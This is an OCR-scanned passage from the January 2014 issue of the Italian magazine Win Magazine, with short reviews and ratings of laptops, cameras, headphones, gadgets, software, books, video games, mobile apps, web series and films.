nell'aria rendendo la navigazione molto 
più naturale. Inoltre è disponibile lo 
store Airspace dove è possibile trovare 
applicazioni ottimizzate proprio per 
questi controlli gestuali. Naturalmen¬ 
te non manca l'ampio Imagepad con 
supporto gesti multitouch e la tastiera 
completa di tastierino numerico e re- 
troilluminazione. Si tratta di un note¬ 
book capace di soddisfare un'ampia 
varietà di utenti perché offre una piatta¬ 
forma hardware completa 
e veloce: al processore Intel 
Core i5 di quarta genera¬ 
zione è affiancata infatti 
una potente scheda video 
NVIDIA GeForce GT 750M 


che lo rende adatto sia al gioco sia 
all'editing multimediale. 

Pollici che non pesano 

Nonostante si tratti di un noteb<x»k da 
17 pollici, il peso è contenuto in soli 2,8 
Kg, cosa che lo rende molto facile da 
trasportare. Lo schermo retroilluminato 
a LED ha una risoluzione di 1600x900 
pixel: non Full HD quindi, ma adeguata 
a garantire una buona definizione delle 
immagini. Buona poi la sezione multime¬ 
diale che comprende la tecnologia Beats 
Audio con 4 altoparlanti e 2 subwoofeer 
per un suono potente e avvolgente. Dal 
punto di vista dell'espandibilità si han¬ 
no ben 4 porte USB 3.0 e quindi non ci 
saranno problemi per la con¬ 
nessione delle periferiche. 
A completarlo troviamo il 
Wi-Fi, il Bluetooth e il letto¬ 
re di impronte digitali, una 
sicurezza in più. 


Convenienza 7 
Caratteristiche 9 i 
Innovazione 9 ^ 

VOTO 25 


^ SCHEDA VIDEO DEDICATA DA4GB> 


^ CONTROUOAGESTILEAPMOTION 




^ INTELC0REI5DIQUARTAGENERAZI0NE 


Proressore: Intel Core Ì5-4200M • Scheda Video: NVIDIA 
GeForce GT 7S0M • Memoria RAM; 4 GB DDR3 • Hard Disk: 
7S0 GB • Display: 17,3" a LEO da 1600x900 - Unità Ottica: 
n.d. • Sistema Operativo; Windows 8 • Extra: 4 USB 
3.0, HOMI, lettore di memory card, LAN, Bluetooth, Wi-fi, 
WebCam • Dimensioni; 41,6 x 27,44 x 3,06 cm • Peso: 2,8 Kg 


Convertì in MP3 
i vecchi LP 


HAMLET XDVDVINI 

HAMLET «Tel. 0522 991711 •www.hamletconi.com 


MANUALE 
IN PDF 


Wirt 


L o Smart LP Converter ti consente di convertire velocemente i 
vecchi dischi in vinile in MP3. Basta collegarlo alla porta USB del 
PC e in pochi minuti potrai registrare in digitale tutti i tuoi LP. Non 
occorre utilizzare alimentatori supplementari e grazie all'uscita RCA 
puoi ascoltare la musica anche su un normalissimo impianto stereo. 


Convenienza 9 
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LP supportati: 33 e 45 giri • Alimentazione: via USB 
Dimensioni: 26S x 123 x 80 mm • Peso: 600 g 



Pompa ia musica 
alla grande 


JABRA • www.jabr3.com 

R ealizzate con materiali di altissima qualità, 
sono perfette per ascoltare la musica sullo 
smartphone. Grazie infatti al microfono inte¬ 
grato, permettono di rispondere alle chiamate 
e con l'applicazione Jabra Sound App puoi ■ 
enfatizzare l'ascolto sfruttando la tecnolo¬ 
gia Dolby Digital Plus. Sono anche dotate di 
un doppio jack audio per condividere l'ascolto 

^ .. s anche con altre persone. 

Convenienza 8 Z 
Caratteristiche 9 
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Tipologia: On-Ear* Peso: 226 g 
Risposta di frequenza: 20 Hz - 20 kHz 
Potenza massima in ingresso; 30 mW 
























I Reflex digitale | Stampante multifunzione 1 Action camera { 


In vetrina 




Progettata per 
la condìvisìone 

Wi-Fi e GPS per condividere all'istante 
i tuoi scatti professionali sensoreda 24 , 2 me(ìapixel 

WI-FI E GPS INTEGRATI 

NIKON D5300 

NITAL • Tel. Oli 8996804 • www.nital.it 


SENSIBILITÀ FIN0A128(K) ISO ^ 


L a D5300 è una reflex potente e ver¬ 
satile, adatta al fotografo che non 
accetta compromessi e che cerca una 
macchina maneggevole e ricca funzioni, il 
suo sensore CMOS in formato DX da 24,2 
megapixel è privo di filtro low-pass ottico 
(OLPF) e questo le consente di catturare 
immagini con un dettaglio elevatissimo. 
La sensibilità ISO fino a 12800 offre una 
buona resa anche in condizioni di luce 
non ottimale e il processore 
EXPEED 4 permette di rag¬ 
giungere una velocità di 5 fps 
in scatto continuo. Anche i vi¬ 
deo non sono da meno visto 
che è possibile registrare in 
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Full FID fino a 50p/60p con audio stereo e 
assistiti dall'autofocus Live View continuo. 

Al passo coi tempi 

Tenendo conto che oggi la parola 
d'ordine è la condivisione, Nikon ha 
pensato bene di dotare questa macchi¬ 
na di Wi-Fi integrato con cui è possibile 
collegarla a uno smartphone Android 
0 iOS per trasferire velocemente le foto 
e pubblicarle sulle varie 
piattaforme fotografiche, 
inoltre la connessione 
senza fili può anche essere 
utilizzata per controllare la 
fotocamera dal dispositivo 


mobile, funzione che unita al display 
orientabile offre una versatilità di scatto 
unica nel suo genere. Non manca il GPS 
grazie al quale si possono aggiungere 
agli scatti le coordinate geografiche per 
poi georeferenziarli sulla mappa. Il tutto 
in un corpo macchina più compatto e 
leggero del precedente modello. 

Sensore: CMOS in formato DX da 24,2 megapixel • Obiettivo 
in dotazione; Nikkor 18-140mm f/3 J-5.6 VR • Sensibiiità 
ISO: da 100 a 12800 • Display: 8,1 cm a 1.037k punti 
Video: Full HD a 1080/S0/60p • Scatti in sequenza; 5 fps 
Connessioni: Wi-fi, GPS, HOMI • Dimensioni; 12S x 98,0 
X 76,0 mm • Peso: 480 g (senza batteria e card di memoria) 


Foto sempre al bado pensata per lo sport 


EPSON EXPRESSION PREMIUM XP-610 

EPSON • Tel. 800 801101 •www.epson.it 


U na multifunzione pensata per i fotografi che vogliono stam¬ 
parsi in casa i propri scatti senza rinunciare alla qualità di un 
vero laboratorio. Utilizza 5 cartucce d'inchiostro separate per 
ottimizzare i costi di gestione ed è dotata diWi-Fi Direct così puoi 
mandare in stampa le immagini dai dispositivi mobile anche 
senza avere un router. Integra anche il lettore di memory card, la 
connessione PictBridge e un display a colori da 6,4 cm. 



Funzioni: Stampa, copia, scansione • Tecnolgia di stampa: 
InkJet a 5 colori • Connessioni; Wi-fi, USB • Dimensioni: 
390 x 341 X138 mm 


DRIVER 

AGGIORNATI 
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C ompatta e 
ra, è una delle 
videocamere 
sportive più avan¬ 
zate. È dotata di 
un potente sen¬ 
sore da 12 mega¬ 
pixel ed è in grado 
di riprendere video in 

è impermeabile fino a 15 metri di profondità senza dover usare 
aggiuntive, la batterla offre un'autonomia di ben 2,5 ore e integra il 

Wi-Fiperessereconnessa a smartphone e tablet. ' - 

__ __; Convenienza 7 ; 

■ Caratteristiche 9 | 
Innovazione 9 * 


Sensore: 12 Megapixel • Video: 1920x1080 (16:9), 30fps,'60fps 
lnipennedbtlità:Finoa15metri>Oìmen5ioni:37x37x107mm •Peso:1‘12g 
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AIR PRO 3 WI-FI 

lON CAMERA • http://uk.ioncamera.com 


Gennaio 2014 Win Magazine 21 


0 






















1 Gadget hi-tech | 



Musica in totale libertà 


JABRA REVO WIRELESS www.jabra.com 


L e cuffie wireless di Jabra offrono un audio potente uni¬ 
to a una grande libertà di movimento. Sono dotate di 
struttura in alluminio, cardini in acciaio e archetto flessi¬ 
bile che le rende adattabili a chiunque. L'archetto è a pro¬ 
va di urti, resistente alla caduta, alla piegatura e alla cur¬ 
vatura, per garantire resistenza in qualunque situazione. 
Inoltre è imbottito, così da poter indossare le cuffie senza 
fastidi, soprattutto se si utilizzano per un tempo prolungato. 
La stessa comodità è data dai cuscinetti in schiuma memory per 
le orecchie. Il design pieghevole consente 
di riporle in spazi ridotti, offrendo dunque 
maggiore confort e praticità. In commercio 
è disponibile anche la versione con cavo 
(€ 199,00) da poter collegare direttamente 
al PC o al lettore MP3. 


Convenienza 7 
CaratterìstichelO 
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Trasferimenti superveloci Per sciatori digitali 


TECHLY SUPER SPEED 


5 www.manhattanshop.it 


L 'ultimo nato di casaTechly si chiama Super Speed ed è un HUB 
in grado di duplicare le prestazioni di velocità nel trasferimento 
dati tra il PC e le varie periferiche USB. In pochi secondi sarà pos¬ 
sibile, infatti, trasferire file anche di grandi dimensioni grazie alle 
tecniche Full Duplex e Multistream di cui è dotato. Esteticamente 
si presenta in materiale gom¬ 
mato resistente e compatto, 
talmente piccolo da po¬ 
terlo comodamente tra¬ 
sportare in una tasca. 

Convenienza 8 | 
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ATTIVA HEAD SENSOR BT RUNTASTIC 



www.attiva.com 

E il casco ideale per i tradizionali sport 
invernali: leggero ma allo stesso 
tempo sicuro, è dotato di padiglio¬ 
ni auricolari con speaker integrati, 
microfono regolabile e pulsanti per 
impartire comandi allo smartphone 
o semplicemente per ascoltare musica, 
tato di cardiofrequenzimetro per migliorare 
la propria performance sportiva e ottenere un 
allenamento migliore. 


Convenienza 8 
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Gli sciatori po 
tranno condi¬ 
videre sui scxial 
network i propri percorsi 
grazie all'app Runtastic. 


È do 


Protetti da radiazioni 

MOBILE PHONERADIATIOr; 
PROTEQION NIGHTHCLDER 

www.proidee.co.uk 

Q uesto gadget ridu¬ 
ce del 75% le ra¬ 
diazioni emanate dallo 
smartphone. Inserendo 
il telefonino nel cilindro 
in metallo sarà anche 
possibile ricaricarlo pas¬ 
sando il cavo attraverso 
la fessura. 


Una luce "spaziale" 

«STRONAUT USB UGHI 

www.red5.co.uk 

C hi si intrattiene davan¬ 
ti al PC fino a notte 
fonda, per piacere o lavo¬ 
ro, può farsi compagnia 
con questo simpatico 
punto luce USB. La forma 
è quella di un astronauta 
che sembra fluttuare nel¬ 
lo spazio tramite un tubo 
di alimentazione lungo 
30 centimetri. 


Lo speaker col cappello 

BEANIE BOT SPEAKER RiaRlCAGIL. 

k.4[ E: ili wwwzumiez.com 

P er ascoltare musi¬ 
ca in modo diver¬ 
tente da smartpho¬ 
ne, lettore MP3 o PC, 
possiamo affidarci 
a questo simpatico 
speaker. È dotato di 
amplificatore da 2 
watt e consente di 
ascoltare musica per 
4 ore consecutive. 
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Basta un clic e installi tutto 


OneClick! Installer 3 è un'applicazione che sennpiifica e automatizza 
le operazioni di installazione di applicazioni, driver e aggiornamenti 




Il tuo tempo è prezioso. 
Non sprecarlo. 



ONECLICK! 
INSTALLER 3 

MAGIX • www.seizent.com 

E cco la soluzione ideale 
che farà risparmiare un 
sacco di tempo a coloro che 
sono abituati a installare e 
disinstallare in continuazio¬ 
ne driver e programmi. Si 
chiama OneClick! Installer 3 
e permette di automatizzare 
e rendere più rapide le pro¬ 
cedure per l'inizializzazione 
delle applicazioni su Win¬ 
dows. Il suo funzionamento 


è semplice. Basta trascinare 
gli eseguibili nella cartella di 
sistema di OneClick! Instal- 
ler, avviare il programma e 
il gioco è fatto. L'applicazio¬ 
ne prowederà, in modo del 
tutto autonomo, ad installa¬ 
re quanto deside’^ato. Non 
solo. Le operazioni, grazie 
ad un algoritmo proprieta¬ 
rio confezionato secondo 
le direttive di Intel, sono 
più rapide rispetto a quelle 
condotte manualmente. 
Inoltre, OneClick! Installer 
3 filtra tutti quei programmi 
collaterali e pubbi citari che 
si insinuano durante l'ini- 



Con OneClick! Installer 3 configuri e aggiorni i tuoi 
programmi preferiti senza inserire nel sistema software 
pubblicitari, toolbar e quant'altro di indesiderato 


ziaiizzazione di software 
gratuito. Insomma, uno 
strumento indispensabile 
per smanettoni e utenti 
sempre di corsa. 
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Ricordi in un video 



MAGIX PHOTOSTORY 
2014 DELUXE 

MAGIX • www.magix.it 

Q uante foto hai nel tuo PC? Centina¬ 
ia? Oforse qualche migliaio? Sarebbe 
bello organizzarle in un video, ma software e 
professionisti di settore hanno i loro costi. Da 
oggi però c'è una soluzione che senza pesare eccessivamente sul 
portafogli permette di ottenere buoni risultati e senza feticare troppo 
È PhotoStory 2014 Deluxe, un'applicazione 
sviluppata da Magix e progettata per i meno 
esperti, che grazie a numerosi automatismi 
consente di perfezionare le foto e creare slide- 
show di sicuro effetto, nonché di ottimizzare 
i filmati per la fruizione tramite TV, PC o WEB. 
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Uno per tutti! 


KASPERSKY INTERNET 
SECURITYMULTI-DEVICE 

KASPERSKY • www.kaspersky.it 


TRIAL DEL 
SOFTWARE 


•l 

Q uando navighi in Rete usando il PC o lo ■ 

smartphone sei esposto a pericoli di ogni 
genere. I tuoi dati sensibili sono oggetto di attacchi 
da parte di hacker e malintenzionati che 
atto azioni criminose. Per trasformare i tuoi dispositivi in casseforti c'è una 
sola soluzione: installare una suite di sicurezza 
affidabile. Tra le tante presenti sul mercato ti 
segnaliamo Internet Security Multi-Device di 
Karpersky, una soluzione tutto-in-uno che con 
una sola licenza offre una protezione multidi- 
spositivo ottimizzata per ogni singolo device. 
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L'angolo del libro 



IL MANUALE DEL MAKER 

FAG • www.fag.it 

U n libro per smanettoni e sperimentatori, una 
guida che in più di trecento pagine e con centi¬ 
naia di immagini a colori illustra tutte letecnicheper 
trasformare le proprie idee in progetti concreti, 
utilizzando le nuove tecnologie digitali come le 
stampanti 3D, l'elettronica e la programmazione. 


Autore: Aliverti Paolo - Moietta Andrea • Pagine: 324 



lOS 7IPHONE EIPAD 

FAG • www.fag.rt 

P er tutti i possessori di uno dei meravigliosi dispo¬ 
sitivi Apple basati su iOS ecco una guida a colori 
e davvero completa, che accompagna il lettore alla 
scoperta del nuovo sistema operativo rilasciato dalla 
casa di Cupertino. Un testo chiaro e di facile lettura 
adatto a neofiti e utenti mediamente evoluti. 

Autore: Zurli Gianguido • Pagine: 240 
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Il ritorno dì Zelda 


THE LEGEND OF ZELDA: A LINK BETWEEN WORLDS 




NtfinBUX)* www.nintendo.it 


N uovo titolo da Ninten¬ 
do per i possessori della 
console 3DS e per tutti gli 
amanti del mondo leggen¬ 
dario e straordinario di "The 
Legend of Zelda". Questo nuo¬ 
vo episodio, A Link Between 
Worids, segue la storia del ti¬ 
tolo pubblicato su Super NES 
nel lontano 1991, 
narrando nuovi 
eventi ambientati 
nel regno di Hyru- 
le. Nuovi dunge- 
on, rompicapo e 


un rinnovato gameplay of¬ 
frono un’avventura unica e 
coinvolgente. In questo titolo, 
Link può muoversi sui muri 
come se fosse un dipinto, ha 
nuove modalità per ottenere 
l’equipaggiamento e la possi¬ 
bilità di affrontare i dungeon 
nell’ordine desiderato. Una 
storia nostalgica 
ma allo stesso 
tempo rinnovata. 
Un titolo assolu¬ 
tamente da non 
perdere. 
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UN GIOCO Tuno NUOVO 

Pur rifacendosi al mondo di un dassko per Super NES, su Nintendo 3DS diventa un gioco 
innovativo con nuovi poteri, rompicapo, sfide e una grafica mozzafiato 


La strana coppia 

MARIO&SONIC Al GIOCHI OLIMPIO INVERNALI DI SOCHI 

• www.nintendo.it 

M ario e Sonic, le 
due mascotte di 
Nintendo e Sega, so¬ 
no pronti a prendere 
parte ad una nuova 
avventura sportiva. 

Nel nuovotitolo Nin¬ 
tendo! due campio¬ 
ni, accompagnati da 
diversi personaggi 
protagonisti delle rispettive serie videoludiche, si sfidano in ben 25 
discipline, di cui 16 ispirate a sport olimpici reali e 9 ad Eventi Sogno 
ambientati nei mondi fantastici tipici dei due personaggi. Il titolo offre 
anche una modalità multiplayer che permette ad un 27 

massimo di 4 giocatori di prendere parte alla sfida. 


Nello spazio infinito 

MIRR0Rf.lC0N - 

1^3 MIRROR MOON GAME • www.iTiirrormoongame.com 

U n titolo dall’atmosfera 
suggestiva e intrigan¬ 
te, che si caratterizza per 
l’approccio unico e origi¬ 
nale aH'awentura, che in 
questo caso è ambientata 
nello spazio, immagini e 
scenari mozzafiato, mu¬ 
siche evocative e sugge¬ 
stive fanno da cornice ad un’esperienza videoludica speciale, che si 
caratterizza per le atmosfere di riflessione e contemplazione dello spazio 
infinito. Un gioco per chi ama l’esplorazione fine a se 
stessa finalizzato al solo gusto della scoperta. 




VOTO 24 


Multimedia Junior 



SVILUPPARE LE ABILITÀ 
COGNITIVE NELL'INFANZIA 

EDIZIONI ERICKSON- www.erickson.it 

Per educatori e insegnanti, propone un inter¬ 
vento di potenziamento cognitivo e motiva¬ 
zionale tramite attività ludiche per i bambini 
della scuola dellìnfanzia e della scuola primaria. 


Autore: C. foggi, P. Ricchiardi, E. Torre, A.M. Venera • Preno: 
€29,00 



GIOCHI... AMO CON LE SCIENZE 

' EDIZIONI ERICKSON ■ www.eriduon.it 

Un volume interamente dedicato alle discipline di 
studio nella scuola primaria, con attività e giochi 
tematici organizzati cronologicamente sulla base 
dei programmi ministeriali. Ideale per invogliare i 
bambini al ripasso dei contenuti studiati a scuola 
attraverso proposte di gioco e approfondimento. 

Autore: Claudio Ripamonti • Prezzo: € 16,20 
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Fino all'ultimo canestro 

NBA2K14 omm&s GSd i 2K SPORTS • www.2ksports.com 


I Giochi j 



S ulla scorta del successo milionario della serie, 2k 
Sports rilascia la nuova edizione 2014 di una delle sue 
simulazioni sportive più riuscite, quella che ripropone il 
campionato più famoso nel mondo del basket. Il nuovo 
NBA 2K14 porta in dote un'intelligenza artificiale poten¬ 
ziata e ottimizzata, specialmente quella dei giocatori 
gestiti dalla CPU che ora sono più reattivi ed efficaci nel 
corpo a corpo. Non solo. NBA 2k14 amplia il set delle 
animazioni dei vari atleti, in modo da eliminare i tempi 
morti e rendere ogni azione e ogni gesto quanto di più 
fluido e naturale possa esserci. Nel complesso tutto è 
più realistico e convincente, dal sistema che gestisce i 
passaggi alle animazioni dei giocatori, dai movimenti 
di gioco alla fisicità degli atleti. Insomma, divertimento 
assicurato per tutti gli appassionati di sport. 

UN TITOLO RIUSCITISSIMO 

Bello da vedere e divertente da 
giocare, NBA 2k14 farà la felicità degli 
appassionati di basket grazie all'elevata 
qualità della struttura di gioco 
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Viva la democrazia 

DEMOCli ACV ^ <11B O positech games • www.positech.co.uk 


U n titolo appassionante 
e coinvolgente per tut¬ 
ti gli amanti della politica. È 
Democracy 3 di Positech, un 
videogioco in cui devi vestire i 
panni di un leader democrati¬ 
co, gestire la vita economica e 
sociale del paese e mantenere 
al contempo una popolarità 
elevata per garantirti la vitto¬ 


ria alle urne. Un gioco in cui 
sono richiesti abilità e strate¬ 
gia, coraggio e diplomazia per 
scontentare il minor numero 
possibile di elettori e gruppi 
sociali ma occupandosi delle 
necessità economiche del pa¬ 
ese. Una chicca da non perdere 
per gli appassio¬ 
nati del genere. 


VOTO 27 








Nel mondo dei pirati 

ASSASSIN'SCREED IV: BLACK FLAG 

• UBISOFT entertainment •www.ubi.com 


B lack Flag è il nuovo episodio 
della serie Assassin's Creed. 
Tutto è ambientato nel XVIII seco¬ 
lo. I Caraibi sono sotto il controllo 
dei pirati che hanno fondato una 
vera e propria repubblica priva di 
qualsiasi legge, in cui corruzione, 
avidità e crudeltà sono all'ordi¬ 
ne del giorno. Calati nei panni 
di Edward Kenway, un giovane 


ed esuberante capitano che ha 
conquistato fama, gloria e rispet¬ 
to, ma che si trova suo malgrado 
coinvolto nell'antico conflitto tra 
Assassini e Templari, una guerra 
che potrebbe distruggere tutto 
ciò che i pirati hanno realizzato. Un 
titolo coinvolgente che garantisce 

tante ore di puro ^,0^0 28. ■ 
divertimento. ^ 


'I 
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Le app che cercavi | Mobile 


Un dizionario in tasca 


LOZINGARELLI DI ZANICHELLI 2014 



H Un'emozionante 
corsa contro tutti 
al volante della tua 
vettura Gran Turi¬ 
smo preferita, che puoi sce¬ 
gliere tra i numerosi modelli 
disponìbili ciascuno dei quali 
con caratteristiche uniche e 
mirate a soddisfare al meglio 
le tue esigenze di 
gara. Si inizia acqui¬ 
stando una delle 
autovetture a di- 
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sposizione per poi 
dotarsi di modelli 


VOTO 


più performanti (firmati Audi, 
Porsche, Bugatti, Lamborgini 
e Dodge) non appena avrai 
guadagnato sufficiente dena¬ 
ro dalle stesse gare. Le opzio¬ 
ni di guida consentono dì per¬ 
sonalizzare la modalità dì ac¬ 
celerazione, sterzo e freno 
così come la sensibilità dell'ac- 
celerometro per 
limitare le derapate 
in curva ed ottimiz¬ 
zare l'intensità dei 
freni, al fine di of¬ 
frire un'esperienza 


29 


dì guida fluida e davvero rea¬ 
listica. Sono disponibili oltre 
novecento eventi per vivere 
esperienze sempre più emo¬ 
zionanti come quelle offerte 
dalle gare testa a testa, sfide a 
tempo, corse singole di coppia 
e le gare ad eliminazione. 


RICERCHE SENZA AHESE 

Nella versione digitale dello 
Zingarelli 2014 la ricerca di un 
termine può essere effettuata per 
Lemmi o per Forme. 


Cohen, Léonard 

( Montreal 21.9.1924 •) PocU c iontpouto) 
canadese. Penonagf k> atipico, estraneo ai j 
canoni del rock e più vicino alla UmIi/kmx- ] 
dei caMauton europei, sempre leao 
all’ introspezione c dolalo di una voce 
profonda e canunatica. Alcuni suoi pc/yi 
sono stali tradotti <b F. De André 
(SicofMc. JcMm Are c Afrmn'l 5»»};% <>/ 
Léonard Cidten (19681; 5o/^ /hm a 
rooM (1969); / ar .HOMir <ncm (19X8); The 
/Sinirr(l992); r<ni>»nt soii]tr(200l);/ 

keQtker (20(M); Otd ùkw (2012). 



App educative per bambini 


Numeri in vista Viaggi virtuali Disegni colorati 



‘.'UM^ERL.“.ND HD 0»» 

Strumento basato sul metodo 
pedagogico Montessori e de¬ 
dicato alTapprendimento dei 
numeri nella prima infanzia. 
Attraverso disegni e animazioni, il bam¬ 
bino viene guidato in un mondo mate¬ 
matico, dove imparerà a scrivere i nume¬ 
ri sul quaderno digitale utilizzando le 
dita. Inoltre verrà invitato ad imparare a 
pronunciare i numeri in ; " " 

tante altre lingue. VOTO 29 


ESP'-'hANDO IL :0RP. UMANO 

Un viaggio interattivo alla 
scoperta del corpo umano. 
L'app propone un modello 
anatomico 3Dsul quale si può 
zoomare ed esplorare ogni apparato del 
corpo umano, dalla pelle ai muscoli fino 
agli organi interni. Per scoprire come 
funzionano gli apparati basta selezio¬ 
narli ed osservare gli or- ; _ j 
gani che li compongono. : ' " 



DiWMAne aereieaquìlon, 

ié* 

Un album da colorare dedicato ai 
bimbi più piccoli che non hanno 
I ancora padronanza con la lettura 
e la scrittura. I disegni, una volta 
colorati, prendono vita come in un cartone 
animato per spiegare concetti come volare e 
galleggiare. Basta sfiorare lo schermo per co¬ 
lorare il deltaplano, l'elicottero o le bolle di 



sapone e vederli così volteg¬ 
giare in un ambiente grafico. 


VOTO 28 




Pugni virtualiinBD 



REAL BOXING 


Questo gioco 
ci catapulta in 
un campiona¬ 
to di boxe. La 
grafica è ricca di sfuma¬ 
ture che conferiscono 
naturalezza alle scene 
del gioco, con i flash del 
pubblico, fino ad arrivare alle movenze dei due avver¬ 
sari e alle lesioni che segnano i loro corpi durante l'in¬ 
contro. Inoltre il sistema di controllo V-Motion Gestore 
Control System, grazie alla telecamera incorporata nel 
dispositivo, permette di controllare le mos¬ 
se del pugile attraverso i nostri movimenti. VOTO 30 








Informati su tutto! 

GOOGLE CURRENTS GIESDìiI# 

Un aggregatore di RSS e notizie 
dal Web per essere sempre ag¬ 
giornati sui fatti che accadono 
in Italia e nel mondo. Consente 
di consultare le notizie dei più importanti 
quotidiani e siti d'informazione on-line. 

Grazie all'accordo effettuato da Google con 
importanti editori italiani (come il Sole 24 
Ore, La Stampa, TuttoSport, AdnKronos e 
tanti altri), l'app consente di leggere gli articoli in versione 
completa. Gli articoli interessanti possono essere salvati per 
rileggerli in un secondo momento. Inoltre, grazie all'integra¬ 
zione con il Traduttore di Google, è possibile a - 

legger le testate straniere nella nostra lingua. 
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j Mobile j Le app che cercavi 1 


In vetrina 



Cosa è successo oggi? 

BUONENOTIZIE PLUS 



Questa applica¬ 
zione è dedicata 
a tutti coloro i 
quali desiderano 
conoscere ciò che di buono 
sta succedendo nel nostro 
paese e in tutto il mondo. 
Ogni giorno, infatti, non av¬ 
vengono solo eventi di cro¬ 
naca nera, scan¬ 
dali, scontri po¬ 
litici o gossip, 
ma accadono 
tanti fatti positi¬ 
vi e storie in gra- 


Convenienza 10 
Caratteristiche 10 
Innovazione 10 


VOTO 


do di infonderci più corag¬ 
gio e fiducia nel futuro. 
L'obiettivo di questo pro¬ 
getto è proprio quello di 
dare voce alle storie positive 
che emergono nella nostra 
società, raccontando le nuo¬ 
ve scoperte della scienza, le 
novità dal mondo del lavoro, 
deH'ambiente, del¬ 
la tecnologia e 
della salute. Pos¬ 
siamo noi stessi 
stabilire la tipolo¬ 
gia di notizie che 


30 


intendiamo leggere tra at¬ 
tualità, ambiente, cultura, 
economia, sport, curiosità, 
benessere, innovazione e 
tante altre tematiche. 


NOTIZIE CHE FANNO BENE 
ALL'UMORE 

L'applicazione raccoglie tutte le 
news di rilevanza sodale che nessun 
altro canale di informazione riesce a 
fornire. Ciascuna notizia può essere 
votata e condivisa su Twitter e 
Facebook o inviata tramite e-mail. 



Una hit in un singolo tap 

SONGIFYBY SMULE ISiì9i< 


Tutta la musica che vuoi 

NAVIONICS SKI; EUROPE OBm* 


Una divertente applica¬ 
zione per realizzare bra¬ 
ni musicali. Non è neces¬ 
sario saper suonare uno 
strumento o essere bravi nel canto, 
basta recitare un testo o cantare 
una canzone senza preoccuparsi di 
mantenere la giusta intonazione. 
Dobbiamo stare attenti solo a scan¬ 
dire bene le parole del brano e, 
conclusa la registrazione, potremo 
ascoltare i nostri versi cantati in 
perfetta tonalità su ^qjq 29 
una base musicale. . 





Spotify è un servizio mu¬ 
sicale on-line per l'acces¬ 
so istantaneo ad oltre 15 
milioni di brani ascolta- 
bili in streaming o in modalità off- 
line. L'interfaccia utente permette 
di navigare all'Interno dell'app men¬ 
tre la barra "Ora in riproduzione" 
mostra il titolo del brano in ascolto, 
con la possibilità di visualizzare in¬ 
formazioni trascinando il dito su di 
essa. È anche possibile attivare la 
riproduzione casua¬ 
le dei brani. 


VOTO 30 



App per il disegno 


Come veri pittori 

MY l^RU5HES PRO 


Uno strumento progettato per 
riprodurre in digitale il mec¬ 
canismo di pittura su tela. 
Dispone di 100 pennelli per 
simulare, con grande realismo, l'effetto 
di numerosi stili come l'acquarello, pit¬ 
tura ad olio, disegno calligrafico, pittura 
cinese e tanti altri. Supporta un numero 
illimitato di livelli con funzioni di riordi¬ 
namento, editing e impor¬ 
tazione immagini. 


Disegno a mano 

LIVE SKETCH SBtt 

Permette di disegnare a ma¬ 
no libera sul display e realiz¬ 
zare piccoli capolavori arti¬ 
stici in stile carboncino. 
Adotta infatti una particolare tecnica 
per creare contorni automatici sulle linee 
tracciate, dando origine a disegni 
dall'aspetto professionale. Come sfondo 
al disegno possiamo usare varie tipolo¬ 
gie di carta e condividerle ^ 

persino in Rete. . 


Foto animate 

SKETCH&CARTOON ME-MV PENCL 
AV.ATAR 0X09 

if Permette di trasformare una 

S* r* * presente sul dispositivo 

, ' in un'immagine di grande 

^ impatto artistico. Dispone di 

14 effetti per l'elaborazione automatica, 

tra cui quelli di tipo "cartoon". I restanti 

effetti processano l'immagine con vari 

filtri fotografici come il bianco e nero, 

l'inversione di colori e la ■ 

... I • VOTO 30 

scultura tridimensionale. ■ • 


VOTO 28 
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In vetrina 




Gratis 

* 


■ 



STUCK-THECHRONICLES 
OF DAVID REA 

www.youtube.com/ustr/studwebsenes 
Pluripremiata serie Web prodotta da 
italiani, narra la storia di David Rea, 
professione "emotional trainer", e dei 
suoi pazienti, ciascuno dei quali è in 
un modo o nell'altro "bloccato" (da 
qui il titolo) in specifiche circostanze 
della propria vita. 



Il supereroe più veloce della luce 
è tornato con tanti effetti speciali 

, BLU-RAY 3D 

M - Kal, Superman, Uomo cf'Acciao, figlio di Jor-EI, 

T Clark Kent: quanti nomi e identità ha il più fa- 

V " moso eroe dei fumetti a stelle e strisce? Per chi 
non conoscesse il mito, il film L'uomo d'Acciao 
i permetterà di approfondirle tutte. L'epopea 

di Superman viene infatti narrata in questa 
' pellicola (la più ricca di effetti speciali nella 

^ cinematografia del supereroe) in maniera 

quanto mai completa. Si parte dalla nascita 
di Kal sul pianeta Krypton che sta per distruggersi fino ad arrivare 
alla resa dei conti finale di un Superman adulto e consapevole JH 
del proprio compito. Cresciuto nella fattoria dei coniugi Kant ^|r 
secondo rigidi principi morali, Clark Kent scopre il proprio ^ 
passato extraterrestre e i propri poteri che mette al servizio 
della Terra in un incessarsi di scene d'azione ricchissime 



LOSTINGOOGLE 


www.younibe.conVshow.tosimgcoQlf 

Simone e Proxy sono i protagonisti di 
questa singolare commedia in cui il 
primo dei due resta intrappolato nella 
Rete dopo aver cercato la parola "Goo- 
gle" in Google. Proxy deve trovare un 
modo di liberare l'amico e collega, ma 
i commenti degli utenti non aiutano... 



FREAKS 

www.youtut)e.coni/$haw/freaks 
Successo italiano nel campo delle Web 
Series, narra la vicenda di un gruppo di 
ragazzi che dopo un incidente si ritro¬ 
vano a fare i conti con quattro mesi di 
blackout da ricostruire e gli inspiegabili 
superpoteri dei quali sono ora dotati. 



THEPILLS 


Sww.ywituiXìxonVshow.'thepilK 

Una ÌA/eb Series che racconta con iro¬ 
nia, attraverso brevissimi webisode, le 
vicende di un piccolo gruppo di amici, 
coinquilini e studenti universitari, alle 
prese con la vita quotidiana. 


di effetti speciali. Un film con cast stellare che porta il 
mito di Superman nell'era contemporanea degli effetti 
speciali in 3D. 


Regia: Zack Snyder • Attori: Henry Givill, Amy Adams, Michael Shannon, Kevin 
Costner, Diane Lane, Laurence Fishbume, Russel Crowe• Durata: 143' • Anno: 

2013 ■ Genere: Azione e avventura • Distribuzione: Warner Bros n 5 

Sito Internet: wwws.wamettxos.it/manofsteel 


I ’ I I 


D ’ A C 


OMO 
r ) A I 



Elysium 

Azione 


Los Angeles fra 140 anni sarà di¬ 
visa in due classi sociali: quella 
dei poveri, che lottano tra stenti e 
malattie, e quella degli eletti, che 
trascorrono la loro esistenza su 
una stazione orbitante di nome 
Elysium. Matt Damon tenterà di 
sovvertire l'ordine costituito (a 
costo di farsi impiantare un eso- 
scheletro per dare ai poveri le 
stesse opportunità), mentre Jodie 
Poster farà di tutto per preservare 
i privilegi della casta eletta. 

Regia: NeillBIoinkainp 
Attofi; Man Damon, Jodle Foster 
Durata: 109 minuti 



World War Z 

Drammatico, Fantascienza 
In questo colossei Hollywcxxliano 
di genere catastrofico scoppia 
